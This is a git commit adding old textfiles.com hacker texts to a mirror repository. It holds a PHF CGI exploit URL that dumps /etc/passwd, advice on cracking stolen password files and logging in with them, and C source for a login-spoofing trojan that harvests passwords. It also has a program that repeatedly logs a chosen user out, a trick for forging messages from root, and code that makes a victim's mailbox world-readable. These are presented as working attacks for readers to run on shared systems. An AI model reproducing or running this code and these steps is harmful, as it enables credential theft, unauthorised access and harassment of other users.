mirror of
https://github.com/opsxcq/mirror-textfiles.com.git
synced 2025-08-14 01:13:57 +02:00
update
This commit is contained in:
71
textfiles.com/hacking/UNIX/dirfind.txt
Normal file
71
textfiles.com/hacking/UNIX/dirfind.txt
Normal file
@@ -0,0 +1,71 @@
|
||||
Newbie Tips: (Changing to / Hidden Directories) 1.1
|
||||
===================================================
|
||||
I've only done this with Unix, emacs, & ftp (not ncftp), but I know it's
|
||||
probably doable in the same/different way on other systems like VMS, NeXT,
|
||||
etc. I assume you know what ascii, vt codes, etc are so just skim through
|
||||
this, & maybe it'll help you out if you're caught on something. This isn't
|
||||
a complete guide or anything.. it's just a few basic things that might be
|
||||
useful if you don't already know them. There'll probably be a few people
|
||||
who won't like this getting around to every new person on the 'net (there's
|
||||
enough competition out there for sitez as it is), but it's nothing anyone
|
||||
shouldn't already now a bit about (If I gave out a new site list with
|
||||
each file or something THEN I could see some ChAos happening! :-)
|
||||
Enjoy..
|
||||
____________________________________________________________________________
|
||||
Changing to a directory with spaces, tabs, or anything really wierd
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
All you do is use quotes, ie. cd incoming/"..<sp>"/"^Z<tab>"/"<alt 30>"
|
||||
To change to a dir with an space--------^ tab---^ ascii seq--^
|
||||
'Ascii sequence', simply
|
||||
hold down the Alt key &
|
||||
hit the appropriate
|
||||
numers.
|
||||
*Note: this may be tricky if your term prog, or machine uses ALT keys
|
||||
for LOCAL actions.
|
||||
____________________________________________________________________________
|
||||
Figuring out what a hidden directory actually IS (you KNOW it's there,
|
||||
but don't know what to type to change to it)
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
What I do is redirect it to a file, then look at the file with emacs! In
|
||||
ftp type 'ls -al <filename>'.. this saves the directory listing to a file.
|
||||
Then either shell, exit, or use another process & look at the file with
|
||||
emacs. Emacs will actually show you the "^H^A" chars. You can even
|
||||
distinguish the spaces from tabs.. if you move the cursor accross the
|
||||
directory name & it 'jumps' accross a bit.. it's a tab! I'm pretty sure
|
||||
emacs can saftly display those nasty VT-wrecking control codes (^E^N ?).
|
||||
____________________________________________________________________________
|
||||
How to change to directories with tricky chars like '^Z','^C', etc..
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
While at the prompt in the shell, type 'stty -a'. This gives you the
|
||||
'mapping' of the few special control chars. All you do is remap 'suspend'
|
||||
from ^Z to something else (say ^K): type 'stty susp ^K'. Now ^K is the
|
||||
suspend char, NOT ^Z.. you can now type ^Z while in ftp without it
|
||||
getting thrown into the background! The same goes for ^C, ^R, etc..
|
||||
|
||||
'stty susp ^K'
|
||||
^^-- when you type this, use the char '^' and the char 'K'..
|
||||
you don't really type the actual control code when you
|
||||
'remap' them from the shell prompt.
|
||||
____________________________________________________________________________
|
||||
Making directories, files with Color
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
Pretty much like changing to them. I.e. mkdir "^[[7mHello^[[0m" will make
|
||||
a directory in 'reverse video' (it'll look like junk if your NOT using
|
||||
some kind of VT-100 term) but remember the actual dir is the escape
|
||||
codes, not JUST 'hello'. Unix is interesting, because filenames can be
|
||||
pretty much any length, and have any kind of characters in them.. even
|
||||
Line Feeds!.
|
||||
____________________________________________________________________________
|
||||
Handling " characters
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
Quote char's can't be specified in quotes obviously. Like in Tcsh, the '\'
|
||||
char can be used to prefix unusual chars instead of using quotes. The '\'
|
||||
method can be handy if the quote method doesn't work.. ie:
|
||||
to change to: <sp><tab>.^L type: cd \<sp>\<tab>.\^L
|
||||
to change to: "mydir<sp>^Hi type: cd \"mydir\<sp>\^Hi
|
||||
etc..
|
||||
|
||||
I know this is sort of brief but it should give you a general idea of what
|
||||
to look for and what to expect on when your poking around sitez. HaveFun!
|
||||
|
||||
-Dec 17, 1994.
|
200
textfiles.com/hacking/UNIX/hack.txt
Normal file
200
textfiles.com/hacking/UNIX/hack.txt
Normal file
@@ -0,0 +1,200 @@
|
||||
__________ _______________ _________
|
||||
/ /\ / ______ /\ / ____ \
|
||||
/ ______/ / / /\____/ / / / /\___\ \
|
||||
/ /\_____\/ / / / / / / / / / \ \
|
||||
/ /_/___ / / / / / / / / / \ \
|
||||
/ /\ / / / / / / / / / / /\
|
||||
/ _____/ / / / / / / / / / / / / /
|
||||
/ /\____\/ / / / / / / / / / / / /
|
||||
/ /_/___ / / / / / / / / / / / /
|
||||
/ /\ / /_/___/ / / / /_/_______/ / /
|
||||
/__________/ / /______________/ / /________________/ /
|
||||
\__________\/ \______________\/ \________________\/
|
||||
Essence Of Darkness
|
||||
|
||||
-'Hacking Servers 101'
|
||||
was written by ChronicK of THE E0D-
|
||||
|
||||
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
++ DiSCLAiMER: ++
|
||||
++ CHRONiCK NOR ANY PARTiES AFFiLIATED WiTH HiM TAKE ++
|
||||
++ SPONSABiLiTY, WiTH THE CONTENTS CONTAiNED iN THiS ++
|
||||
++ TEXT FILE. THiS CONTENT iS FOR EDUCATiONAL PURPOSES ++
|
||||
++ ONLY, AND WHERE NOT PERSONALLY USED BY CHRONiCK, OR ANY ++
|
||||
++ OTHER PARTiES AFFiLiATED WiTH HiM... ++
|
||||
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
++ALL MiSPELLED WORDS, PUNCUATiON, AND OTHER MiSTAKES, ++
|
||||
++ ARE CONSiDERED AS'ARTiSTiC EXPRESSiNGS'. ++
|
||||
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
I'm very tired of people (so called 'hackers) asking me to teach them to
|
||||
hack, or how to hack web sites...Well there is. There are, in fact, literally
|
||||
hundreds of ways to do this. I'll discuss a few in this text to get you started.
|
||||
Everyone must start somewhere and somehow, and hacking web servers and ftp servers
|
||||
is yet one of the easiest ways. I really hope that you have _*SOME*_ basic knowledge,
|
||||
of how web servers work and how to use some form of UNiX...
|
||||
I'll explain that stuff anyway for those of you who _*don't*_ know. If you do, then
|
||||
skip this lame part =c)
|
||||
|
||||
|
||||
|
||||
Part 1: The _*simple*_ UNiX commands 101
|
||||
|
||||
The majority of MS DOS commands, have a UNiX, or Linux equivalents.
|
||||
Bellow, I have listen the _*MAiN*_ commands you'll need to know to operate a shell account.
|
||||
CD = CD
|
||||
COPY = CP
|
||||
DEL = RM
|
||||
DIR = LS
|
||||
HELP = HELP
|
||||
MOVE = MV
|
||||
**
|
||||
NOTE: These next commands where taken from the
|
||||
Linebreaker (unix-use.txt), and are inculded in
|
||||
<UNiX-USE> braces...
|
||||
**
|
||||
<UNiX-USE>
|
||||
awk *=* Search for a pattern within a file
|
||||
bdiff *=* Compares two large file
|
||||
bfs *=* Scans a large file
|
||||
cal *=* Displays a calendar
|
||||
cat *=* Documents and prints file
|
||||
cc *=* C compiler
|
||||
cd *=* Change directory
|
||||
chgrp *=* Changes a file's group ownership
|
||||
chmod *=* Changes a file's access permissions
|
||||
cmp *=* Compares two files
|
||||
comm *=* Compares two files so as to determine which lines
|
||||
*=* are common to both
|
||||
cp *=* Copies a file to another location
|
||||
cu *=* Calls another Unix system
|
||||
date *=* Returns the date and time
|
||||
fr *=* Displays free space in the file system
|
||||
diff *=* Displays the differences between two files or dir's
|
||||
diff3 *=* " " three files or dir's
|
||||
du *=* Reports on file system usage
|
||||
echo *=* Displays its argument
|
||||
ed *=* Text editor
|
||||
ex *=* Text editor
|
||||
f77 *=* Fortran compiler
|
||||
find *=* Locates the files with specified characteristics
|
||||
format *=* Initializes a floppy disk
|
||||
grep *=* Searches for a pattern within a file
|
||||
help *=* Provides help
|
||||
kill *=* Ends a process
|
||||
in *=* Used to link files
|
||||
ipr *=* Copies the file to the line printer
|
||||
is *=* Displays information about one or more files
|
||||
mail *=* Used to receive or deliver messages
|
||||
mkdir *=* Creates a new directory
|
||||
more *=* Displays a long file so that the user can scroll
|
||||
mv *=* Used to move or rename files
|
||||
nroff *=* Used to format text
|
||||
passwd *=* Allows you to change your current password
|
||||
ps *=* Display a process's status
|
||||
pwd *=* Display the name of the working directory
|
||||
rm *=* Removes one or more files
|
||||
rmdir *=* Deletes one or more directories
|
||||
sleep *=* Causes a process to become inactive for a specified
|
||||
*=* amount of time
|
||||
sort *=* Sort and merge one or more files
|
||||
spell *=* Finds spelling errors in a file
|
||||
split *=* Divides a file
|
||||
stty *=* Displays or set terminal parameters
|
||||
tail *=* Displays the end of a file
|
||||
troff *=* Outputs formatted output to a typesetter
|
||||
tset *=* Sets other terminal type
|
||||
unmask *=* Allows the user to specify a new creation mass
|
||||
uucp *=* Unix-to-Unix execute
|
||||
vi *=* Full screen editor
|
||||
wc *=* Displays details in the file size
|
||||
who *=* Displays information on the system users
|
||||
write *=* Used to send a message to another user
|
||||
bin *=* Used to store Unix utilities
|
||||
lib *=* Contains libraries used by Unix
|
||||
tmp *=* Contains temporary files
|
||||
etc *=* Contains administrative programs such as passwd
|
||||
dev *=* Contains files which represent devices
|
||||
usr *=* Contains user files
|
||||
</UNiX-USE>-NOTE: that cuncluded unix-use.txt's commands...
|
||||
*****
|
||||
If you have _*NO*_ clue whatsoever of what any of what that chart 'represents', here's yet more
|
||||
help for you...
|
||||
|
||||
On the right (in the above chart, CD, COPY DEL, DiR, HELP, and MOVE, are ALL MicroSoft, DOS commands.
|
||||
What are MicroSoft DOS commands? Doh, commands you enter in a MicroSoft DOS Prompt! Just try one, shell to DOS
|
||||
(open a MicroSoft DOS prompt), if you don't know how just restart in DOS (Win95 users). Win3.x users, just exit
|
||||
windows. Once you are in DOS, type some of the above commands, in the chart, on the right =c). On the left are
|
||||
UNiX/LiNUX commands, that do they equivalent, of, the commands on the right...I hope this explains it enough...
|
||||
|
||||
|
||||
To find out who is in a system, simply type: WHO. To get information
|
||||
about a specific user on the system type FINGER username (username = the name you
|
||||
fingering). By taking advantage of those basic UNiX commands, you can learn all you
|
||||
need to know about the system you are currently 'in' (using).
|
||||
|
||||
Part 2: Cracking the passwords 101
|
||||
|
||||
On UNiX systems the file that contains the passwords for all the users
|
||||
on the system is located in the /etc dir (directory). The filename is passwd.
|
||||
So alltogether you need to access ~/etc/passwd. All of the accounts in the
|
||||
passwd file have _*ENCRYPTED*_ passwords. These passwords cannot be, in any way,
|
||||
'decrypted'. However, there are programs that can be used to obtain passwords from
|
||||
the file. I reccomed using 'Cracker Jack', or my favorite, John The Ripper...These
|
||||
prgramms use wordlists (a BiG LiST of words), then compares the encrypted forms
|
||||
of the words in the list to the encrypted passwords in the passwd file and it
|
||||
notifies you when it finds a match (NOT allways 100% of the time...). John The Ripper,
|
||||
or Cracker Jack, can be found at: www.hack3rs.com.
|
||||
|
||||
Part 3: Finding Password Files 101
|
||||
Obviously, a systim adimin isn't just going to give out a passwd file to you.
|
||||
You have to have a way to retrieve the /etc/passwd file without logging into the
|
||||
system. There are two ways that this can sometimes be accomplished. Most of the time
|
||||
the etc/passwd file isn't hidden from the public, in there ftp. To get the passwd
|
||||
file this way try using an FTP client to access the site _*ANONiMOUSLY*_ then check
|
||||
the /etc directory to see if access to the passwd file is non accessable. If it is
|
||||
not restricted then download the file and run John The Ripper, or Cracker Jack, or any
|
||||
other cracking programms on it. In some systems there is a file called PHF, located in
|
||||
the /cgi-bin directory. If there is then you are in luck. PHF allows users to gain
|
||||
_*REMOTE-ACCESS*_ to files, even etc/passwd via the 'net. To try this method
|
||||
goto your web browser and type in the following addy (URL (Address)):
|
||||
http://the.site.url/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
|
||||
Make sure you change http://the.site.url to http://whatever the address of the page
|
||||
you're trying to hack...
|
||||
|
||||
|
||||
If all else fails, _*FiND*_ a way to get that file! If you are stuck with a 'x'
|
||||
or '*' (in most cases you _*ARE*_), that means the file is shadowed. There is
|
||||
_*NO*_ way to actually 'Unshadow', although, I've seen programms, that claim to
|
||||
do it...You may want to visit www.lorsomer.com, www.r0ot.org, or www.hack3rs.com... You have
|
||||
to have some C programming knowledge, because you have to compile the programm using a compiler.
|
||||
There are allways backups of passwd though! Experiment a little, try etc/shadow
|
||||
or something.
|
||||
|
||||
Part 4: Loggin on to _*YOUR*_ new personnal shell!
|
||||
|
||||
If you succeded in the password getting proccess, run your telnet client and
|
||||
telent (Windows95's default telnet client can be ran by: clicking the start button,
|
||||
then run, and then type telnet, hit enter.) to the server that you cracked the passwords for, such
|
||||
as www.hack3rs.com (in Windows95's telnet client click conect, then remote server, or go to
|
||||
MicroSoft DOS, and type: telnet address.goes.here). When you connect, you will be prompted,
|
||||
for both a username, then password. Just type in the information you got after cracking
|
||||
the passwd file. Once in you can do whatever you want...I strongly do not recommend spreading
|
||||
virii, or causing havoc...
|
||||
-Knowledge is _*POWER*_, and Information is _*STRENGTH*_-
|
||||
|
||||
Part 5: Newbies...
|
||||
|
||||
Cracking is not hacking, so just remember that...If you are seriously into
|
||||
becoming a hacker, check out your local library, or bookstoor, and pick up programming
|
||||
books...HTML, C, JAVA, anything...Don't buy 'hacking books' they don't help much,
|
||||
they just tell you about hacks, and social engineering...Check out www.hack3rs.com
|
||||
for newbie texts, and other rescources for the H/P Underground Comunity...
|
||||
|
||||
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
+ ************************************************** +
|
||||
+ *ChronicK can be contaced at: eod@mailexcite.com * +
|
||||
+ ************************************************** +
|
||||
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
read all
|
||||
|
231
textfiles.com/hacking/UNIX/hack1
Normal file
231
textfiles.com/hacking/UNIX/hack1
Normal file
@@ -0,0 +1,231 @@
|
||||
Unix - Odds & Ends
|
||||
|
||||
-- ------- ----- --- --- ------
|
||||
1. Keeping Users Off The System
|
||||
-- ------- ----- --- --- ------
|
||||
|
||||
Now, we all know by now how to log users off (one way is to redirect
|
||||
an 'stty 0' command to their tty) but unless you have root privs, this
|
||||
will not work when a user has set 'mesg n' and prevented other users from
|
||||
writing to their terminal. But even users who have a 'mesg n' command in
|
||||
their .login (or .profile or .cshrc) file still have a window of vulnerability,
|
||||
the time between login and the locking of their terminal. I designed the
|
||||
following program, block.c, to take advantage of this fact.
|
||||
|
||||
To get this source running on your favorite Unix system, upload it,
|
||||
call it 'block.c', and type the following at the % or $ prompt:
|
||||
|
||||
cc -o block block.c
|
||||
|
||||
once you've compiled it successfully, it is invoked like so:
|
||||
|
||||
block username [&]
|
||||
|
||||
The & is optional and recommended - it runs the program in the background,
|
||||
thus letting you do other things while it's at work.
|
||||
|
||||
If the user specified is logged in at present, it immediately logs
|
||||
them out (if possible) and waits for them to log in. If they aren't logged
|
||||
in, it starts waiting for them. If the user is presently logged in but
|
||||
has their messages off, you'll have to wait until they've logged out to
|
||||
start the thing going.
|
||||
|
||||
Block is essentially an endless loop : it keeps checking for the occurence
|
||||
of the username in /etc/utmp. When it finds it, it immediately logs them
|
||||
out and continues. If for some reason the logout attempt fails, the program
|
||||
aborts. Normally this won't happen - the program is very quick when run
|
||||
unmodified. However, to get such performance, it runs in a very tight
|
||||
loop and will eat up a lot of CPU time. Notice that near the end of the
|
||||
program there is the line:
|
||||
|
||||
/*sleep(SLEEP) */
|
||||
|
||||
the /* and */ are comment delimiters - right now the line is commented
|
||||
out. If you remove the comments and re-compile the program, it will then
|
||||
'go to sleep' for the number of seconds defined in SLEEP (default is 5)
|
||||
at the end of every loop. This will save the system load but will slightly
|
||||
decrease the odds of catching the user during their 'window of vulnerability.'
|
||||
|
||||
If you have a chance to run this program at a computer lab at a school or
|
||||
somewhere similar, run this program on a friend (or an enemy) and watch
|
||||
the reaction on their face when they repeatedly try to log in and are
|
||||
logged out before they can do *anything*. It is quite humorous. This
|
||||
program is also quite nasty and can make you a lot of enemies!
|
||||
|
||||
caveat #1: note that if you run the program on yourself, you will be logged
|
||||
out, the program will continue to run (depending on the shell you're under)
|
||||
and you'll have locked yourself out of the system - so don't do this!
|
||||
|
||||
caveat #2: I wrote this under OSx version 4.0, which is a licensed version
|
||||
of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will
|
||||
work on your system.
|
||||
|
||||
caveat #3: If you run this program in background, don't forget to kill
|
||||
it when you're done with it! (when you invoke it with '&', the shell will
|
||||
give you a job number, such as '[2] 90125'. If you want to kill it later
|
||||
in the same login session, type 'kill %2'. If you log in later and want
|
||||
to kill it, type 'kill 90125'. Just read the man page on the kill command
|
||||
if you need any help...
|
||||
|
||||
----- cut here -----
|
||||
|
||||
/* block.c -- prevent a user from logging in
|
||||
* by Shooting Shark
|
||||
* usage : block username [&]
|
||||
* I suggest you run this in background.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <utmp.h>
|
||||
#include <ctype.h>
|
||||
#include <termio.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define W_OK2
|
||||
#define SLEEP5
|
||||
#define UTMP"/etc/utmp"
|
||||
#define TTY_PRE "/dev/"
|
||||
|
||||
main(ac,av)
|
||||
int ac;
|
||||
char *av[];
|
||||
{
|
||||
int target, fp, open();
|
||||
struct utmpuser;
|
||||
struct termio*opts;
|
||||
char buf[30], buf2[50];
|
||||
|
||||
if (ac != 2) {
|
||||
printf("usage : %s username\n",av[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
for (;;) {
|
||||
|
||||
if ((fp = open(UTMP,0)) == -1) {
|
||||
printf("fatal error! cannot open %s.\n",UTMP);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
while (read(fp, &user, sizeof user) > 0) {
|
||||
if (isprint(user.ut_name[0])) {
|
||||
if (!(strcmp(user.ut_name,av[1]))) {
|
||||
|
||||
printf("%s is logging in...",user.ut_name);
|
||||
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
|
||||
printf("%s\n",buf);
|
||||
if (access(buf,W_OK) == -1) {
|
||||
printf("failed - program aborting.\n");
|
||||
exit(-1);
|
||||
}
|
||||
else {
|
||||
if ((target = open(buf,O_WRONLY)) != EOF) {
|
||||
sprintf(buf2,"stty 0 > %s",buf);
|
||||
system(buf2);
|
||||
printf("killed.\n");
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
} /* else */
|
||||
} /* if strcmp */
|
||||
} /* if isprint */
|
||||
} /* while */
|
||||
close(fp);
|
||||
|
||||
/*sleep(SLEEP); */
|
||||
|
||||
} /* for */
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
----- cut here -----
|
||||
|
||||
|
||||
-- ------------- ----- ----- ---- ------ --- ------
|
||||
2. Impersonating other users with 'write' and 'talk'
|
||||
-- ------------- ----- ----- ---- ------ --- ------
|
||||
|
||||
This next trick wasn't exactly a work of stupefying genius, but is a
|
||||
little trick (that anybody can do) that I sometimes use to amuse myself
|
||||
and, as with the above, annoy the hell out of my friends and enemies.
|
||||
|
||||
Nearly every Unix system has the 'write' program, for conversing with
|
||||
other logged-in users. As a quick summary:
|
||||
|
||||
If you see that user 'clara' is logged in with the 'who' or 'w' command
|
||||
or whatever, and you wish to talk to her for some reason or another,
|
||||
you'd type 'write clara'. Clara then would see on her screen something
|
||||
like this (given that you are username 'shark'):
|
||||
|
||||
|
||||
[3 ^G's] Message from shark on ttyi13 at 23:14 ...
|
||||
|
||||
You then type away at her, and whatever you type is sent to her terminal
|
||||
line-by-line. If she wanted to make it a conversation rather than a
|
||||
monologue, she'd type 'write shark,' you'd get a message similar to the above
|
||||
on your terminal, and the two of you would type away at each other to your
|
||||
little heart's content. If either one of you wanted to end the conversation,
|
||||
you would type a ^D. They would then see the characters 'EOF' on their
|
||||
screen, but they'd still be 'write'ing to you until they typed a ^D as well.
|
||||
|
||||
Now, if you're on a bigger installation you'll probably have some sort
|
||||
of full-screen windowing chat program like 'talk'. My version of talk
|
||||
sends the following message:
|
||||
|
||||
Message from Talk_Daemon@tibsys at 23:14 ...
|
||||
talk: connection requested by shark@tibsys.
|
||||
talk: respond with: talk shark@tibsys
|
||||
|
||||
Anyway, here's where the fun part begins: It's quite easy to put a sample
|
||||
'write' or 'talk' message into a file and then edit so that the 'from'
|
||||
is a different person, and the tty is listed differently. If you see that
|
||||
your dorky friend roger is on ttyi10 and the root also happens to be
|
||||
logged on on ttyi01, make the file look something like this:
|
||||
|
||||
[3 control-G's] Message from root on ttyi01 at [the current time]
|
||||
|
||||
wackawackawackawackawacka!!!
|
||||
|
||||
[or a similarly confusing or rude message...]
|
||||
|
||||
EOF
|
||||
|
||||
Then, send this file to roger's terminal with:
|
||||
|
||||
cat filename > /dev/ttyi10
|
||||
|
||||
He'll get the message on his terminal and wonder what the hell the
|
||||
superuser is talking about. He might even 'write' back to the superuser
|
||||
with the intent of asking 'what the hell are you talking about?'. For
|
||||
maximum effectiveness, *simultaneously* send a message to root 'from'
|
||||
roger at the appropriate terminal with an equally strange message - they'll
|
||||
then engage in a conversation that will go something like "what did you
|
||||
mean by that?" "what do you mean, what do I mean? What did *you* mean
|
||||
by that?" etc. A splendid time is guaranteed for all! Note that you don't
|
||||
have to make 'root' the perpetrator of the gag, any two currently logged-in
|
||||
users who have their terminals open for messages can join in on the fun.
|
||||
|
||||
Similarly, you can fake a few 'talk' pages from/to two people...they will
|
||||
then probably start talking...although the conversation will be along the
|
||||
lines of "what do you want?" "you tell me." "you paged me, you tell *me."
|
||||
etcetera, while you laugh yourself silly or something like that.
|
||||
|
||||
A variation on the theme: As I said, when using 'write' you type a ^D to
|
||||
end the conversation, and the person you're typing at sees an 'EOF' on
|
||||
their screen. But you could also just *type* 'EOF', and they'd think
|
||||
you've quit...but you still have an open line to their terminal. Even
|
||||
if they later turn messages off, you still have the ability to write to
|
||||
their terminal. Keeping this fact in mind, anybody who knows what they're
|
||||
doing can write a program similar to my 'block' program above that doesn't
|
||||
log a user out when they appear on the system, but opens their tty as
|
||||
a device and keeps the file handle in memory so you can redirect to their
|
||||
terminal - to write rude messages or to log them out or whatever - at any
|
||||
time, until they log out.
|
||||
|
||||
|
325
textfiles.com/hacking/UNIX/hack2
Normal file
325
textfiles.com/hacking/UNIX/hack2
Normal file
@@ -0,0 +1,325 @@
|
||||
------------------
|
||||
UNIX Trojan Horses
|
||||
------------------
|
||||
|
||||
Introduction
|
||||
------------
|
||||
|
||||
"UNIX Security" is an oxymoron. It's an easy system to bruteforce hack
|
||||
(most UNIX systems don't hang up after x number of login tries, and there are
|
||||
a number of default logins, such as root, bin, sys and uucp). Once you're in
|
||||
the system, you can easily bring it to its knees or, if you know a little 'C',
|
||||
you can make the system work for you and totally eliminate the security
|
||||
barriers to creating your own logins, reading anybody's files, etcetera. This
|
||||
file will outline such ways by presenting 'C' code that you can implement
|
||||
yourself.
|
||||
|
||||
Requirements
|
||||
------------
|
||||
You'll need a working account on a UNIX system. It should be a fairly
|
||||
robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real
|
||||
machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to
|
||||
school and have an account on the school system, that will do perfectly.
|
||||
|
||||
Notes
|
||||
-----
|
||||
This file was inspired an article in the April, '86 issue of BYTE
|
||||
entitled "Making UNIX Secure." In the article, the authors say "We provide
|
||||
this information in a way that, we hope, is interesting and useful yet stops
|
||||
short of being a 'cookbook for crackers.' We have often intentionally omitted
|
||||
details." I am following the general outline of the article, giving explicit
|
||||
examples of the methods they touched on.
|
||||
|
||||
|
||||
Project One: Fishing For Passwords
|
||||
-----------------------------------
|
||||
|
||||
You can implement this with only a minimal knowledge of UNIX and C.
|
||||
However, you need access to a terminal that many people use - the computer lab
|
||||
at your school, for example.
|
||||
|
||||
When you log onto a typical UNIX system, you see something like this:
|
||||
|
||||
Tiburon Systems 4.2bsd / System V (shark)
|
||||
|
||||
|
||||
login: shark
|
||||
Password: (not printed)
|
||||
|
||||
The program I'm giving you here simulates a logon sequence. You run the
|
||||
program from a terminal and then leave. Some unknowing fool will walk up and
|
||||
enter their login and password. It is written to a file of yours, then "login
|
||||
incorrect" is printed, then the fool is asked to log in again. The second
|
||||
time it's the real login program. This time the person succeeds and they are
|
||||
none the wiser.
|
||||
|
||||
On the system, put the following code into a file called 'horse.c'. You
|
||||
will need to modify the first 8 lines to fit your system's appearance.
|
||||
|
||||
|
||||
----- Code Begins Here -----
|
||||
|
||||
/* this is what a 'C' comment looks like. You can leave them out. */
|
||||
|
||||
/* #define's are like macros you can use for configuration. */
|
||||
|
||||
#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
|
||||
|
||||
/* The above string should be made to look like the message that your
|
||||
* system prints when ready. Each \n represents a carriage return.
|
||||
*/
|
||||
|
||||
#define LOGIN "login: "
|
||||
|
||||
/* The above is the login prompt. You shouldn't have to change it
|
||||
* unless you're running some strange version of UNIX.
|
||||
*/
|
||||
|
||||
#define PASSWORD "password:"
|
||||
|
||||
/* The above is the password prompt. You shouldn't have to change
|
||||
* it, either.
|
||||
*/
|
||||
|
||||
#define WAIT 2
|
||||
|
||||
/* The numerical value assigned to WAIT is the delay you get after
|
||||
* "password:" and before "login incorrect." Change it (0 = almost
|
||||
* no delay, 5 = LONG delay) so it looks like your system's delay.
|
||||
* realism is the key here - we don't want our target to become
|
||||
* suspicious.
|
||||
*/
|
||||
|
||||
|
||||
#define INCORRECT "Login incorrect.\n"
|
||||
|
||||
/* Change the above so it is what your system says when an incorrect
|
||||
* login is given. You shouldn't have to change it.
|
||||
*/
|
||||
|
||||
#define FILENAME "stuff"
|
||||
|
||||
/* FILENAME is the name of the file that the hacked passwords will
|
||||
* be put into automatically. 'stuff' is a perfectly good name.
|
||||
*/
|
||||
|
||||
/* Don't change the rest of the program unless there is a need to
|
||||
* and you know 'C'.
|
||||
*/
|
||||
|
||||
#include <curses.h>
|
||||
#include <signal.h>
|
||||
int stop();
|
||||
|
||||
main()
|
||||
{
|
||||
char name[10], password[10];
|
||||
int i;
|
||||
FILE *fp, *fopen();
|
||||
signal(SIGINT,stop);
|
||||
initscr();
|
||||
printf(SYSTEM);
|
||||
printf(LOGIN);
|
||||
scanf("%[^\n]",name);
|
||||
getchar();
|
||||
noecho();
|
||||
printf(PASSWORD);
|
||||
scanf("%[^\n]",password);
|
||||
printf("\n");
|
||||
getchar();
|
||||
echo();
|
||||
sleep(WAIT);
|
||||
|
||||
|
||||
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
|
||||
#fprintf(fp,"login %s has password %s\n",name,password);
|
||||
#fclose(fp);
|
||||
#}
|
||||
|
||||
printf(INCORRECT);
|
||||
endwin();
|
||||
}
|
||||
|
||||
stop()
|
||||
{
|
||||
endwin();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
||||
----- Source Ends Here -----
|
||||
|
||||
OK, as I said, enter the above and configure it so it looks exactly like
|
||||
your system's login sequence. To compile this program called 'horse.c' type
|
||||
the following two lines: (don't type the %'s, they are just a sample prompt)
|
||||
|
||||
% cc horse.c -lcurses -ltermcap
|
||||
% mv a.out horse
|
||||
|
||||
You now have the working object code in a file called 'horse'. Run it, and if
|
||||
it doesn't look like your systems logon sequence, re-edit horse.c and
|
||||
recomplie it. When you're ready to put the program into use, create a new
|
||||
file and call it 'trap' or something. 'trap' should have these two commands:
|
||||
|
||||
horse (this runs your program)
|
||||
login (this runs the real login program)
|
||||
|
||||
to execute 'trap' type:
|
||||
|
||||
% source trap (again, don't type the %)
|
||||
|
||||
and walk away from your terminal...
|
||||
|
||||
After you've run it successfully a few times, check your file called
|
||||
'stuff' (or whatever you decided to call it). It will look like this:
|
||||
|
||||
user john has password secret
|
||||
user mary has password smegma
|
||||
etc.
|
||||
|
||||
Copy down these passwords, then delete this file (it can be VERY incriminating
|
||||
if the superuser sees it).
|
||||
|
||||
Note - for best results your terminal should be set to time-out after a few
|
||||
minutes of non-use - that way, your horse program doesn't run idle for 14
|
||||
hours if nobody uses the terminal you ran it on.
|
||||
|
||||
-----
|
||||
|
||||
The next projects can be run on a remote system, such as the VAX in Michigan
|
||||
you've hacked into, or Dartmouth's UNIX system, or whatever. However, they
|
||||
require a little knowledge of the 'C' language. They're not something for
|
||||
UNIX novices.
|
||||
|
||||
Project Two: Reading Anybody's Files
|
||||
-------------------------------------
|
||||
|
||||
When somebody runs a program, they're the owner of the process created and
|
||||
that program can do anything they would do, such as delete a file in their
|
||||
directory or making a file of theirs available for reading by anybody.
|
||||
|
||||
When people save old mail they get on a UNIX system, it's put into a file
|
||||
called mbox in their home directory. This file can be fun to read but is
|
||||
usually impossible for anybody but the file's owner to read. Here is a short
|
||||
program that will unlock (i.e. chmod 777, or let anybody on the system read,
|
||||
write or execute) the mbox file of the person who runs the program:
|
||||
|
||||
----- Code Begins Here -----
|
||||
|
||||
#include <pwd.h>
|
||||
|
||||
struct passwd *getpwnam(name);
|
||||
struct passwd *p;
|
||||
char buf[255];
|
||||
|
||||
main()
|
||||
{
|
||||
p = getpwnam(getlogin());
|
||||
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
|
||||
if ( access(buf,0) > -1 ) {
|
||||
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
|
||||
system(buf);
|
||||
}
|
||||
}
|
||||
|
||||
----- Code Ends Here -----
|
||||
|
